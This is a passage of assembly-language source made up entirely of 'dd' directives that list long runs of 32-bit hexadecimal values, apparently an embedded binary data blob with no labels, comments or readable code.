dd 86660C07h, 0A4388C1Fh, 0C6DB1400h, 0E022C92Eh, 33EE835h
dd 0E6F2BF09h, 10002DE1h, 3FF4F8CEh, 7DE22C31h, 0BD2800D3h
dd 136F4426h, 98792F78h, 9E0615E6h, 5ECBFAFEh, 0A8180024h
dd 0C0D42416h, 250012F3h, 9548A2Dh, 3307319h, 69C56F61h
dd 0B0046AFFh, 0DB26A033h, 35C3EC90h, 588B00FEh, 311B1F84h
dd 250E6F1Ah, 60A9A43Fh, 28D6B38Eh, 7D8300C5h, 29D05D3Ch
dd 4801E0DBh, 69C42624h, 0F8FC71B0h, 49933F0Ah, 473A2A80h
dd 0CDD78615h, 4A8F0507h, 0ADC02112h, 38FDF979h, 92073653h
dd 60376928h, 3D2BAA98h, 1AEC7B00h, 22A113BDh, 7D3F664h
dd 9AC3B033h, 0F8FE505Bh, 731E9909h, 5DC1E679h, 0E2CE0247h
dd 3F2B54A8h, 7BE863h, 0A2E01B0Dh, 8C2C55CFh, 805EBD3Dh
dd 0DA3DD6F7h, 0FBC1A7h, 4882116Fh, 248A7FE9h, 0D6B40C07h
dd 0DBD39A49h, 30E7E93Dh, 541AD3E0h, 698D8h, 5E8A6633h
dd 65EA0D04h, 4AEC09C6h, 19260020h, 0E0971266h, 0A61F71CCh
dd 0EA40CA60h, 527A2D56h, 0F9F00137h, 0B82104DCh, 0FC39ACBEh
dd 20290E03h, 0DAC9B8E0h, 0C6DE3AC8h, 0B217330h, 340129D6h
dd 0F79B8B06h, 0C9F9CFDCh, 0FFA2870h, 0AFA287E1h, 24DB687Bh
dd 0D1ABB000h, 9BFC3405h, 30B172CCh, 4A5148EAh, 2718F2B9h
dd 3112481h, 329701C1h, 46FABE98h, 830C7A6h, 0B9E4214Fh
dd 1877C97h, 287D8431h, 0EDBCC3D2h, 5058B2ECh, 97C0302Ch
dd 962A5C90h, 4E4428FBh, 97BC00EDh, 7DCF245Ch, 25005847h
dd 0FA06FF6Ah, 359D39DCh, 7D0F8E7h, 43928FB0h, 70C055B6h
dd 6F0082A7h, 5212B43h, 1897C71h, 40780D67h, 0F1C66DCAh
dd 3E4460F6h, 0BF0007F2h, 1D7115BAh, 71692D81h, 483A01EEh
dd 9F945514h, 4723E4EDh, 2618E360h, 0F6F08653h, 0E6E01CA5h
dd 815241D9h, 9F79430Fh, 0DD407438h, 7357061Fh, 0A3EA0E41h
dd 0C56076DAh, 4D3AB14Bh, 0F0E88E00h, 70FCB38Bh, 374700BDh
dd 769F01A5h, 0A6A2642Dh, 2ECB86C0h, 0E4B98E00h, 2093222Ch
dd 5F1F078Fh, 0F03F60E9h, 0AE530581h, 4762CF1Ch, 0C74A828Fh
dd 0A850E0A4h, 1D16E3D9h, 5A997F8h, 0C02B14F6h, 0B911A601h
dd 330CEF01h, 4F929324h, 0FD9870h, 0EEECCA70h, 4B3EFF07h
dd 0C73AC800h, 7F72D7D1h, 2AF4F8h, 0CB52ABEDh, 0B16F5FDCh
dd 3820E400h, 71593CD1h, 757E000Bh, 5840FCDDh, 0F700A582h
dd 9F369E61h, 95BEC6h, 8459F21Fh, 2F4A42F8h, 0C3004A98h
dd 4F866C65h, 6E6EC9Dh, 0D4EF2935h, 370030C7h, 3BACB3B9h
dd 2ABC9080h, 0CC7445h, 5723029Ah, 8D251906h, 1FB36A07h
dd 0C5C05E3Dh, 0A086D154h, 0EE7EA4h, 0A6739332h, 0A40DC3D8h
dd 6DA0F601h, 7D457898h, 6210F0h, 8F33B027h, 0F677DA58h
dd 2118A0F0h, 0B2703BC0h, 664507A3h, 63407128h, 51D0AF58h
dd 81905417h, 0EF777D00h, 44CC6E0Ah, 88211E26h, 0AB70C0B5h
dd 0B39AD209h, 0C4AC4B00h, 81C5A855h, 1816007Ch, 0EC0E0792h
dd 0B53934EBh, 991D7E85h, 0AD80CC62h, 0E9701EEAh, 2A0B030Ch
dd 0FD6A2656h, 0BC995CF0h, 0AAA8B700h, 58696B49h, 0D2F305E9h
dd 0EF078970h, 96B9F480h, 0ACAA0117h, 1EA9C584h, 0FCCFED59h
dd 7C281F1Ch, 31058272h, 5FDD6091h, 0E526B001h, 34EC952Bh
dd 2EC9002Fh, 0ED3651EEh, 22009F3Ah, 7E96F8BFh, 0BA210Dh
dd 4EB3E68Dh, 3E4D1F04h, 0FC409703h, 80CF8A51h, 48BCBD74h
dd 0A00B5C23h, 2383B939h, 0D087B121h, 0EA2C9DD2h, 5E7C4B00h
dd 35549592h, 51BA0122h, 0F3165ACEh, 0E2C0CBCAh, 0A3183BFFh
dd 0E68947A5h, 2C820CBBh, 0C4A8C541h, 0ABE2B00h, 4F4AD147h
dd 1F700B7h, 0EE577367h, 0E0077856h, 0BA247AD8h, 0F805FF53h
dd 0E9D73Fh, 0FA0F361Ah, 92A55276h, 0C000C57Ah, 0DDA2ADD4h
dd 1C3FC8B8h, 0C08C49CAh, 0CE7B5D3Ah, 8400AFBAh, 3779C04Ah
dd 1F10509h, 63B026B3h, 0D46BB26Ch, 0E905E684h, 7595314Bh
dd 9B103B80h, 0C0EE60E8h, 0E280B8C1h, 6D70511Fh, 6B7CFBC0h
dd 928FF72Eh, 835A00F4h, 1030D27Fh, 8A004BD9h, 0E4C95D58h
dd 7E0431ABh, 7B70924Fh, 751B1306h, 0BE1C40CAh, 0D2E98D41h
dd 0E35A8100h, 9269DB6h, 0F8F00060h, 0FBF63593h, 18011571h
dd 68143B4Fh, 0D450D1E1h, 61B2E322h, 0CB668C4h, 2BF4D4CBh
dd 88379A00h, 60BF2015h, 0AC483931h, 62227900h, 0EA442F02h
dd 512C2E1Dh, 154B5EC0h, 1E53490Ah, 0DED6CBh, 0FA8473BFh
dd 920F1AD1h, 670929AAh, 6050C94Eh, 59F3ECh, 235E273Eh
dd 712A2673h, 1E034F00h, 281F414Ch, 172F00BBh, 8EB09F30h
dd 6E008D23h, 82E298B8h, 77FAC244h, 3FE300DFh, 0B2E94D37h
dd 601CF6F0h, 0C6C1C558h, 0DA3996FCh, 5FEDC040h, 76CC7DB4h
dd 0E4580027h, 82854BF6h, 500FC668h, 0A3F48B6Fh, 0B01A879Fh
dd 618B783h, 0BB9E193Ah, 4112C41Dh, 7400884Fh, 0ACB949Fh
dd 3B2E073Ch, 104A1C58h, 507FCDAEh, 0E47C0E00h, 13050276h
dd 0E6960E71h, 2100908Ah, 8F5EFD16h, 9F84EA00h, 139812DCh
dd 3FC103BAh, 0FB5B74AEh, 796E3CD0h, 18569E39h, 0C6C03887h
dd 0C5C90766h, 4093EC1Dh, 5DD62BE4h, 0D7B1C814h, 0AA0778E0h
dd 38F757D8h, 32F612A0h, 8ADB24BAh, 8B3C8114h, 34A02068h
dd 760F25A8h, 608E2428h, 0F80438B9h, 6AF42850h, 8BA93CFCh
dd 0BA45CC80h, 0EE76E38Fh, 87941107h, 6323F32Ah, 0C951A853h
dd 7CEA01FDh, 3329E857h, 53B03FE4h, 0A17300C0h, 74FC55D7h
dd 4030DEC7h, 9C454894h, 86C203CFh, 0DFDE6A8h, 77F3F9B8h
dd 67B78101h, 5CFFFC51h, 0F7B17A80h, 0AD57ADAh, 0F1E90F07h
dd 0AB50F2BCh, 80D340h, 449B575Dh, 13331724h, 5277727Ch
dd 8008D13Bh, 863C88D0h, 0FF3159Ah, 14DB4C28h, 0CCCADDE3h
dd 1A50D6D0h, 0C39A5A00h, 267B55F2h, 461E00BEh, 17A59385h
dd 0BD009F0Bh, 4912D258h, 0E0372FB2h, 0EDE50069h, 0FFCC173Dh
dd 0CD006661h, 0FDABAD2Eh, 3F9809h, 0B5A65538h, 2B3D4A6Bh
dd 1FA2BB48h, 0F1D7632Fh, 59938D00h, 407926h, 5C217D5Ah
dd 30886F42h, 5BF3CC0Dh, 26E54076h, 3C71464h, 0B78F9B1Ah
dd 78070A88h, 0E3368483h, 0F098C410h, 9011007Ch, 0F5D505ACh
dd 0AF05B0DFh, 0E24D1AB5h, 8B68CB80h, 3EC400B8h, 2A631948h
dd 5500DE57h, 42CD1375h, 6BA9ABh, 449E520Dh, 693A6095h
dd 19BC9C09h, 0BC4A0B6h, 0A94813h, 6C1E2365h, 274FE7D0h
dd 4438FA00h, 835D1618h, 955300D2h, 0BFA2B596h, 0AF009EDEh
dd 0DC5AF3E0h, 7336251Ch, 0E6750328h, 0D79C7437h, 41ACBE02h
dd 483EEA6Fh, 2591A550h, 0ABD82BE2h, 86CD7A05h, 105FE96Fh
dd 24564060h, 8C4928CEh, 0DE252095h, 0AEB80C18h, 3EF14611h
dd 0F1E48AF4h, 621238C0h
dd 0E86E2826h, 3AA22C81h, 0ECF08B3Dh, 265881F1h, 6080F2B6h
dd 72FC6E1Ch, 5C019869h, 0A4CA3739h, 0F434E1A9h, 0E6C0CC60h
dd 8C7E7438h, 0A2128100h, 3B1CEFD5h, 8BC53786h, 0A1FF8080h
dd 127BF74Dh, 0F191F300h, 44BCCC83h, 0C63E00B8h, 0CD26C85Ah
dd 0E439AD5Dh, 0F200F6DFh, 0E60EE80Ah, 288A302h, 2B7A93E7h
dd 0CAC097B7h, 2E005CD2h, 0BF4A1892h, 1858CCAAh, 0A23A4DCFh
dd 0FF75D8ECh, 698E4B05h, 35807962h, 1F3DB4C6h, 8034AFF3h
dd 0DF4D2F0Ch, 5F0197A6h, 6426303Ah, 0D860EF8Fh, 8C7B001Ch
dd 0DBF72BCFh, 1903CBFDh, 0FE48DC75h, 224D138h, 421AEA40h
dd 0CBBC0F0Dh, 2D810C9Fh, 40A4DEC4h, 793741B0h, 9BB2B800h
dd 0B70F6673h, 2BC03FEh, 0E3999FB4h, 2CAF701Ch, 71A89140h
dd 32DD92h, 4E6B57Eh, 21AD355Fh, 0E7936F00h, 0D7A63A0Fh
dd 14C0C7Ch, 2C0CD08Ah, 3414ED01h, 0A98782A3h, 70AB32DCh
dd 53030186h, 8CF9C344h, 5123C42Ah, 8B2CA906h, 2AB2FCh
dd 4C0A8408h, 7E9F2817h, 9C59B00h, 0F9E07BE6h, 0B4409C9h
dd 0CCA851C3h, 570421FCh, 161F670h, 0B162DA57h, 4E9E264Ch
dd 0DDC5F038h, 6030FF6Eh, 0B8F3002Fh, 0BF8B8C39h, 1513A14Eh
dd 3C0E8E56h, 0E182AFC5h, 0FA4AA2F2h, 84E72990h, 424852E9h
dd 0B906B241h, 4F11E302h, 0FE74E109h, 21F94203h, 1008BF51h
dd 751A8C5Dh, 4284B129h, 5194119Bh, 50282628h, 447750B0h
dd 564441BEh, 5828A0D2h, 417389FCh, 12786D14h, 2EBF10DEh
dd 880FB740h, 981CB8BCh, 20406E03h, 0A7F1E179h, 5B3501CBh
dd 0F2EB8023h, 455DC4C8h, 48671600h, 0B021B834h, 974000D4h
dd 1BD50A46h, 0D0086BAh, 617995F3h, 0FBFE26h, 8BA74C93h
dd 1722EC7Ah, 0B6C0E000h, 6F85D0E4h, 4D6600DBh, 1AC1873Eh
dd 0CE006862h, 17721FC2h, 0F4A04932h, 7063DADh, 510A283Fh
dd 1CC96368h, 0B2F440AEh, 9E94F65h, 0BAFEFB00h, 0BE0EDB7Ch
dd 7609CCEh, 0C0A43CE0h, 0D2B7ADACh, 7F785400h, 0E37999D1h
dd 2B6200B8h, 0DF9D2E85h, 0AE018F28h, 618459B1h, 2C24C3E8h
dd 8BA60FF5h, 0BA80B253h, 3F4B7C70h, 34E70600h, 4274D567h
dd 50150E1Ah, 2560FFD0h, 4EE5890Bh, 73105D00h, 616FD6E0h
dd 0BD86004Dh, 10B0FFDh, 1D18C2E8h, 0EF315A19h, 4234006Dh
dd 23C54705h, 6478B467h, 0C7004DE4h, 3AF49AABh, 3C81176Fh
dd 0DE803C2Bh, 872CF0E3h, 8B790104h, 224EA101h, 3693E5C7h
dd 0FBA370h, 9ADDDB3Fh, 810496C0h, 375C5200h, 0D62692F7h
dd 9DBF0097h, 2E450FF5h, 0D000963Ch, 62B66A4Bh, 0E7E14Dh
dd 9111B8FBh, 0F0F8BB55h, 527D000h, 588AEE13h, 107800ABh
dd 411A1719h, 0AA3F50C1h, 63007F70h, 0EC326D92h, 0ACD037h
dd 0EA54C261h, 66E731F4h, 0DB58C01h, 0D668DC01h, 0CB25082h
dd 0B9803478h, 7AB4C404h, 385EAE00h, 215423B1h, 886B008Ch
dd 0FD7D80A4h, 5900225Bh, 0D476FE98h, 0E004CDECh, 1BAA0061h
dd 8B5B13E6h, 4C00D184h, 0FC2E399Eh, 0F7990CEh, 4A0CAE64h
dd 3B77DBA0h, 163E31EBh, 66AF1C9Ch, 20595B09h, 0C710044Ch
dd 0CD27008Dh, 0BE8E0AEFh, 6B00818Fh, 0BA604B5Bh, 1F38ED61h
dd 0B92C7Eh, 84851D88h, 4302D18Fh, 4417241Eh, 4E304057h
dd 269300EEh, 61853C22h, 8788C02Fh, 52CB00BEh, 0E7F39F6h
dd 0FC00BD6Ch, 0BA366558h, 728C32E5h, 74EA0059h, 0B50D5781h
dd 40013F2h, 89B49A6Ah, 3B2AD30Bh, 0AD0009B1h, 0EC28FF9h
dd 0F000327h, 0A8239EEAh, 0EF53E04h, 0C186DAE6h, 496A0C80h
dd 6E002037h, 5C1643F2h, 46AC26h, 7BF89C15h, 0FD42324Fh
dd 0B85848h, 942C5F74h, 7009FEh, 235EAD25h, 0B5D119F0h
dd 7E105A00h, 8D32D72Bh, 77EB006Ah, 0C848F686h, 0BE00DCEEh
dd 0F5BA24BFh, 0E3A342h, 7FEAC1B1h, 0DB8F7725h, 2FFF903h
dd 0B8B64F03h, 912E5CAh, 855F70FDh, 24DC6380h, 0CD1CE24Dh
dd 63408BB0h, 0C8C20E47h, 0B39300C0h, 25E13E5Bh, 6801BBE5h
dd 0F06B33ACh, 6AC08465h, 0AEBD00CBh, 0F64A75F3h, 0CF00CA34h
dd 0FB9B2F98h, 719FCCDh, 28573CF0h, 54D61047h, 0A6000CF5h
dd 7E2640Fh, 19C4984h, 28130272h, 0C1AE6CD3h, 384ED027h
dd 440031F4h, 2BEB6E73h, 9AFB46h, 0BB608BF1h, 55D742F4h
dd 4A861C09h, 0E14F81FFh, 0ACDCA866h, 8FB80079h, 0AB01972Fh
dd 1300B00Fh, 5D70A376h, 1873BFh, 0E71DB427h, 54FAF7ADh
dd 1277FD01h, 43AE4BE6h, 19FA920h, 39A7C174h, 0C8CE446Fh
dd 4133E2D3h, 0A0406E1Ah, 60CB030Eh, 6248484Eh, 9A20D59Ch
dd 0DD060021h, 0BDBC4D79h, 6D00BA82h, 0B96E42Eh, 19FD44h
dd 2E0776Eh, 45BCBBF3h, 0C418CB28h, 521C8C01h, 0A0FA0F1Bh
dd 7A722860h, 41AD076Fh, 91EC97FBh, 0F0542223h, 0D77B4394h
dd 0AE2A2B18h, 6E7A820h, 0A1DB8640h, 1C0198CAh, 0B3E0A28Fh
dd 2C20F2D6h, 61F707E4h, 0F07BF519h, 31D3485Dh, 3C6B1703h
dd 0E8C5CA69h, 0F680677h, 0B464494Eh, 815D9A80h, 80A0D973h
dd 550FB64Dh, 3E317E7h, 0E0E425F1h, 0B3D637h, 0E06B9CBEh
dd 733D9F21h, 0C842EA16h, 0AE48D900h, 0FF05E3h, 4C20E726h
dd 5F0A8BB8h, 14130800h, 0A244F758h, 947F76h, 0F6748C29h
dd 9D065451h, 81FEA500h, 7212C9C6h, 1EE13E4Fh, 0AC678300h
dd 0F4FA1062h, 0B9736FFEh, 0BEF12B00h, 0B2D6A668h, 0D4070132h
dd 5C8F5D24h, 0D70BF0A8h, 0B9D5AD00h, 6D2F3D74h, 0FFA21FD0h
dd 0A1378077h, 0F9197511h, 0FA9F5E00h, 10979286h, 0CD89006Fh
dd 7EF17BD2h, 25F8371Dh, 0DC2C7D28h, 53122D24h, 6EA1C200h
dd 2229DEh, 9CBA53F3h, 1945C641h, 924CC800h, 0E5C5508Ah
dd 2BCB00A6h, 0D553491Ch, 950194B4h, 8F3A2F29h, 3C5633Bh
dd 3DDCA020h, 0FC12C8B6h, 0DF3D0016h, 75346493h, 0FFACF00h
dd 873C986Fh, 7E8907D8h, 81CD601Eh, 0FF3E32F0h, 0C08B58E1h
dd 603E35Ah, 0EEA9A8E8h, 5DF0E00Eh, 0D940C0E9h, 434C99FDh
dd 3B7A6309h, 68EC009Eh, 3BE321Dh, 6D62CF07h, 1907971Ch
dd 989587D1h, 0BAD3605Eh, 775156Ch, 0DBF2D72Fh, 5E2A709Dh
dd 0AD00BEB4h, 0ACF8EE02h, 0E3EE8BDh, 0C7346389h, 8B4D4660h
dd 0BA3C99AEh, 826EB97Ah, 0D1130D67h, 972C4015h, 0F3D51DBCh
dd 82598016h, 0EBDDECBBh, 60383E00h, 0C6EFC283h, 9A460001h
dd 420994Eh, 0CA0F61F5h, 40C97D8Ch, 9C57F3D6h, 2239045Ah
dd 87F44399h, 86E1200Ch, 7E00E7CCh, 1F903D0Ch, 7AA5B1h
dd 3616E6DAh, 21E23E44h, 37048CFEh, 2388E727h, 5DF37087h
dd 0D07AC89Ah, 0F8831F01h, 5F4B0020h, 9CF0FD80h, 701D0C1Fh
dd 526D3780h, 2B4044h, 0C8D8C1B8h, 39D4B48h, 0F843Bh, 324DA1E3h
dd 1C8DA2h, 8FCFE773h, 0ECC8B720h, 0CE6CA803h, 93523738h
dd 0F2D4884Fh, 0FAEF00D5h, 6642C6B3h, 0C0098145h, 87CCC9E2h
dd 0E0F03C20h, 1227958h, 0E62CFD5Ah, 0C9B0AB51h, 61A08087h
dd 3F7B8466h, 3DFF12B1h, 5733000Dh, 1C3B3E1Bh, 935F780Eh
dd 0FE045EF8h, 54C51480h, 761BC0BEh, 0BE005B7Fh, 2717C4BCh
dd 39E3C70h, 355CDE66h, 0B800E53Bh, 86951824h, 0F4B476B8h
dd 389797Bh, 2AE7EC5h, 0F3A80F9Ch, 380032DBh, 925ABF1Dh
dd 9995F68h, 22647129h, 0A8A5A800h, 2400F353h, 9F66A1F8h
dd 3EFC1B78h, 6D80D4DCh, 1830515Ch, 3DFAA0F3h, 336EFD00h
dd 7BB69443h, 5F0B3D0Dh, 0A88FA112h, 2B7C098Fh, 84A80002h
dd 0C04E711Fh
dd 37D26F7Eh, 2E5865D4h, 5CEC1F30h, 18C9B840h, 0E66A549Bh
dd 7CE60F1Ah, 3013093h, 214B6B52h, 0E9C8CCC4h, 43EE2700h
dd 0D9676564h, 430E6BDh, 559E456Ch, 1A648014h, 8B32A110h
dd 4046D81Fh, 834B3Ch, 0DF4EFA59h, 0FFEEA30Dh, 0EFC6D000h
dd 0D2116D1Dh, 0D953070Ah, 8035FDADh, 0A7FF8324h, 47389300h
dd 89F5B1Eh, 504074Ah, 7012824Ch, 0F21CDF9Ah, 7BF5524h
dd 8BD27200h, 3D99C8h, 0B0C7AB6Dh, 7C93E714h, 0B9823609h
dd 28AA0002h, 785C5BAh, 661F1370h, 111B712Ah, 0D0B4D87Dh
dd 6F511600h, 0F2A2896Bh, 313A0029h, 0C5E4A62Eh, 0FE173382h
dd 14005835h, 92665D73h, 0FCE401h, 6B10D06Eh, 2C8E64F6h
dd 68075198h, 0E75F07B1h, 5DE1A080h, 0F4F673BBh, 78E7D90h
dd 0CD27107Fh, 0F1A87018h, 0D501CA84h, 0DFBD8901h, 8BFC4D88h
dd 4B24012Dh, 1C1180D0h, 6113FC5Bh, 5A15C800h, 40F95D3Bh
dd 3AD40048h, 0BB687E91h, 57671814h, 5B700619h, 772C9C4Dh
dd 0BC77000Eh, 0B5DDA43Fh, 91006649h, 0BA5FF595h, 0EF1258DBh
dd 45FE70h, 0E1491973h, 0A13FF2Ah, 868CCC00h, 20381F5h
dd 2C050779h, 0C0FC31F6h, 0B6AE3C6Eh, 0E6B74F00h, 1DC15A48h
dd 80C0075h, 0A2A9CBF0h, 4A006DC4h, 16762C10h, 0CDC7873h
dd 2695F658h, 0FB3911A8h, 0D2238087h, 0F4DACCC4h, 914100F7h
dd 72625D01h, 0D83E1C56h, 80A5BC05h, 0EFD45E82h, 0A2ADECh
dd 3B37695Ah, 32BC98E8h, 3653FA00h, 0BFEB92ACh, 84E00022h
dd 0DA454E40h, 8F00CBFBh, 5DA6C50Eh, 9F627Eh, 2E3E5EC7h
dd 3D65A2E6h, 1F7C8B04h, 81C76A23h, 932B8030h, 0A47F6Dh
dd 0C40689A9h, 634408C5h, 0EF698D03h, 0EB7270DEh, 9190D715h
dd 0A04A75h, 0BE76A464h, 0B93411D9h, 960EBA03h, 0F047E365h
dd 3BDFC1FBh, 0B88085B3h, 0F182165Ch, 7E3F212Bh, 29E1007Fh
dd 0B338FD64h, 0CC200062h, 67158A5Ah, 3B0090AEh, 0B8D491B7h
dd 6C1222h, 0D49A73Eh, 85CB27C0h, 60A84100h, 0EFFB88DEh
dd 0B9E60001h, 25295171h, 9398D1A9h, 47632700h, 60E52D0Bh
dd 7597C62h, 725CDBB1h, 2770D019h, 5198D38Ah, 0B800FA71h
dd 216A0104h, 538766h, 0DFA0A99Ch, 0F9D871E8h, 0D0860B0Ch
dd 26A05Ch, 1578EB34h, 96277A6Dh, 10C23A01h, 7BAE5D07h
dd 804A3040h, 0B21E0004h, 64B9A68Fh, 0D90784A2h, 0CB2D6908h
dd 790BF7D0h, 81C20972h, 18008224h, 0C6597D7Ch, 77385B1Dh
dd 75F3D040h, 0A12B234h, 30582463h, 2DF600F0h, 0CE18461Fh
dd 854A441Eh, 0AB543980h, 3D7284F9h, 0FB00DFA5h, 0E59110Ch
dd 4D488B62h, 24560062h, 4174A2F5h, 36048C7h, 0ABDBC100h
dd 8BA76847h, 0DD831B00h, 4D78D9B4h, 584C00B6h, 4A92C269h
dd 0CE00505Ah, 0B2E504C5h, 3E57887Ah, 3280AB23h, 27F74303h
dd 0A6005A6Dh, 0B94DF377h, 925073Dh, 8039836Bh, 1FC67C00h
dd 421C0DABh, 0C24040B8h, 4D95C34Fh, 0B4300BDh, 929C38DBh
dd 34002F45h, 0CB6C7BA1h, 0ABF31Bh, 433D9065h, 0BDC915E5h
dd 0F93C2172h, 82C4CB0h, 16AF33h, 76C208B9h, 700E2EEh
dd 83126DEBh, 350481h, 8A869E29h, 0BE06FF65h, 90AD7901h
dd 0B4C35201h, 0A6E480E6h, 72868D7h, 9796C13Fh, 58A02951h
dd 3986D97Eh, 8B7C2102h, 40686E19h, 12D70Ch, 7E643115h
dd 2DBC696h, 9A492D26h, 0E2E1AF00h, 0E638EC34h, 0A27C078Fh
dd 10F4C0CDh, 728E58CAh, 0D35F3Bh, 0D24ED0D9h, 48864C43h
dd 7045C5Bh, 1EE4E9h, 0C17D4DF9h, 5789879h, 714A3C43h
dd 0E126C0B5h, 0F700D2EBh, 0B6CEDA5Fh, 0E5DF7Ah, 0B2D71A55h
dd 118576C1h, 75813000h, 7DA3578Ah, 0FA4A040Ah, 90D2F20Bh
dd 141EA770h, 5D0A00B0h, 882F6BB3h, 6450703Eh, 0BC13C294h
dd 0AC00E4B4h, 5EE76E51h, 0C7A2019Bh, 0AFEBBAF6h, 0C496D94Fh
dd 0F090EF37h, 2F9D8204h, 2B00691Ah, 0A8E48187h, 3C02321Fh
dd 0DC79B740h, 7FB37B0h, 90B83152h, 0DFE730EDh, 9C00D6F1h
dd 0D5598161h, 13E001D8h, 153579Bh, 50B51D8Ch, 8B945012h
dd 2E00818Dh, 0CE4FE0B7h, 2DFCD3h, 0CDDD9A85h, 46D532BAh
dd 0BB1EA300h, 5C8CD61Dh, 18C500BFh, 37D3F014h, 0B2499F2Fh
dd 9C3408C8h, 0DED805Dh, 486B3664h, 73C8D614h, 81B101E7h
dd 5260FAE6h, 0FDF1A70h, 0CC37A1Eh, 1DA0960Ah, 28248Dh
dd 59192F71h, 0A201E57Ch, 0EF146C21h, 0B89F61B6h, 5BE80001h
dd 0E99ADFB8h, 40C3E21Ch, 0D7482700h, 30A9C6h, 1B830678h
dd 6F9D2522h, 46D238C0h, 0D9F4A0h, 3B649934h, 0D6BFB56Ah
dd 8DDB4A0Eh, 69706073h, 50C40CFFh, 0F5F0D5h, 72972228h
dd 7309BACh, 0AF3A5800h, 0E9B8E78Ah, 315B0020h, 8941A466h
dd 8CB0820Fh, 48D97501h, 0DD5AFF9Ah, 7F06BE4h, 0EB883E56h
dd 0E22B503Fh, 0EA1C36BAh, 5A303746h, 58CF606Eh, 1D01EA47h
dd 0C267F2EDh, 4FC1F468h, 649FCD00h, 0C3C655E6h, 0B2A80B7Eh
dd 0F500013Fh, 0B442C1E4h, 0E948EEFEh, 0E2AB0034h, 28CE6E84h
dd 50CA0138h, 5A9EA4AEh, 900C40E4h, 0A2F86D31h, 0E9584D00h
dd 0D8CA1243h, 447F0D1h, 0BA326486h, 9CAE033Bh, 8AF2D729h
dd 8443D5E3h, 0D080C3D2h, 0E87B02C0h, 0B2D64400h, 0D1ABD3Dh
dd 2E8B03A9h, 20EB4E19h, 6A729DF0h, 0D33E6890h, 503D0E0Eh
dd 0D7B2219Ah, 0A77030FEh, 0CDB30E83h, 6420FFDEh, 76809363h
dd 0F8F57900h, 924D0608h, 0D74B0086h, 52DCDB0Eh, 89FC3FB6h
dd 3F05550h, 90B8E524h, 403DC60Fh, 0F149F29Dh, 0CEEC0h
dd 0FFA2BA8Ch, 0C857E840h, 23F4BF00h, 82EE99D3h, 41090AD4h
dd 0AC0EF6h, 0D58E0F7Fh, 0EF505C98h, 374C4D85h, 0A6A41ED4h
dd 17BFC040h, 247CE59Ch, 70CC74h, 92961AB9h, 1B1754BCh
dd 0E00062FDh, 0DE751C42h, 38701433h, 0E030E23Fh, 0BF616230h
dd 0F4C53224h, 3AC32980h, 1EE3144Bh, 1C720AEAh, 79807B82h
dd 9EC81A59h, 830413B6h, 0E442491Dh, 7F95B880h, 3889E834h
dd 0C000433Ah, 920C59C6h, 3503126Bh, 267E28E4h, 4CC1847Dh
dd 0E8621EEDh, 0D8E31C00h, 288D7BDFh, 17FB1B00h, 0B40BC6A5h
dd 7FCA0050h, 0F338EEBAh, 0E90006B2h, 0A473483Fh, 3EF5F2Ah
dd 0CC98D1CAh, 0AAB0EBAFh, 0FA05360Fh, 49B566ECh, 0C4D1B080h
dd 0A4D60D03h, 0E494BE39h, 0A4A0420Fh, 26187774h, 0DCB01B5Eh
dd 8D5600B5h, 2803BB95h, 0D0006F1Fh, 0A1BD4A50h, 604B7430h
dd 60E2F02Dh, 0A3E09E87h, 0B845B907h, 0F6D05E34h, 0A1DD46h
dd 6F4019CCh, 0EEAA58A8h, 80234B38h, 0EF17ED71h, 1E8D577h
dd 2070D70Eh, 74AF7A88h, 4400D944h, 0A856A2CEh, 0DB1CA7h
dd 6E9B2634h, 0F61654E3h, 0B22D6703h, 0B1C586h, 492E0714h
dd 1385CCEEh, 9018038h, 0DD4A037Fh, 44339702h, 3AB6F440h
dd 0BD572E03h, 0CC2FA8h, 751DD24Ch, 0B9E0C20Ah, 5430980Eh
dd 8A96C7A3h, 0F09Bh, 0BCF95910h, 0AD209B41h, 310057F4h
dd 7BE7D4BEh, 1250018Eh, 0E10A0Dh, 0E46C8B10h, 3307383Fh
dd 0E9118198h, 7FE240CFh, 0C0CB8994h, 2C183EFEh, 0CA007356h
dd 19B6FA22h, 323D6C9h, 3C93EE9Bh, 78C13F3Eh, 0EC1C20E3h
dd 5F67BA03h, 0B8B1CF66h, 4650CACh, 0D5220837h, 775C825Bh
dd 0A84EF4C8h, 0F861EC00h, 628063E7h, 841F0908h, 6A800FC6h
dd 0FCF74142h, 806B183Bh, 0F8272EEAh, 79CB388Eh, 570E0060h
dd 0FC5E8463h, 400AE0Ch, 11CC8998h, 72EA91h, 93EDACE3h
dd 1ABA5B0Bh, 0D43C6A00h
dd 0F0201626h, 7EF10064h, 0AC0F961Bh, 4E00EA7Bh, 0F9B69F97h
dd 26306385h, 58DE8Eh, 0B108521Dh, 50015B0h, 91385AF5h
dd 3B2C3784h, 9F80D4FAh, 0FEA9068Fh, 16008C85h, 83D5D75Eh
dd 1DF96437h, 7929CD12h, 46246280h, 2157757Bh, 4A5E8000h
dd 0E5C70F81h, 47AF07CBh, 73E9D6FDh, 0B801973Eh, 0A6CE16BEh
dd 0F840C59Fh, 875126h, 27AFD0E1h, 0B3632067h, 65A13F00h
dd 0EC8F9572h, 1514007Ah, 0B624CB9h, 0C7016C1Ch, 208870D6h
dd 0EC245032h, 6EA40039h, 0CB09B844h, 94003DC3h, 40D03C46h
dd 9054B4F4h, 0E85300B4h, 0B642C55Ah, 0AA004EA4h, 7325EC4Ch
dd 0A0A6E0h, 0E9F562DFh, 51D33072h, 56026090h, 0BD59CF5Ah
dd 0A864A7h, 17489A36h, 92F3BF60h, 0B8D7C42Eh, 0B7D870h
dd 5EC03341h, 0B3D6A0F3h, 35F8ED1Dh, 7AAC3281h, 34E877D3h
dd 2AFF0044h, 28C5C46Dh, 0B8002559h, 5C690D21h, 0F8A81F9h
dd 55F09E86h, 61DB801Ch, 9BEC16F2h, 98388D77h, 0D79A0093h
dd 2ABDE9F9h, 6E3B0038h, 9016BACBh, 565C0A94h, 0DDA00048h
dd 34DC0FB1h, 3FEDB828h, 9080F1F3h, 0B45D580Eh, 0F200DE1Eh
dd 3D7A9A46h, 0F8B3CB7Eh, 61792451h, 0F4010378h, 0BAD9B2C5h
dd 0F680E7E5h, 4300BE2Fh, 4BB95E24h, 7A47F0ABh, 973900F7h
dd 268A71A1h, 165CE111h, 66120078h, 0FA8333F1h, 7C709D7Eh
dd 9C4ABC0Ah, 202B0ECh, 0C0B3AE05h, 0C0D290Ch, 0C3D50646h
dd 4501AD11h, 0DBEA2739h, 9C7194BFh, 60F211F0h, 60E6A168h
dd 58FC6DB6h, 0AC009BE8h, 78BEA8D4h, 13273Ch, 0D2CAD6A4h
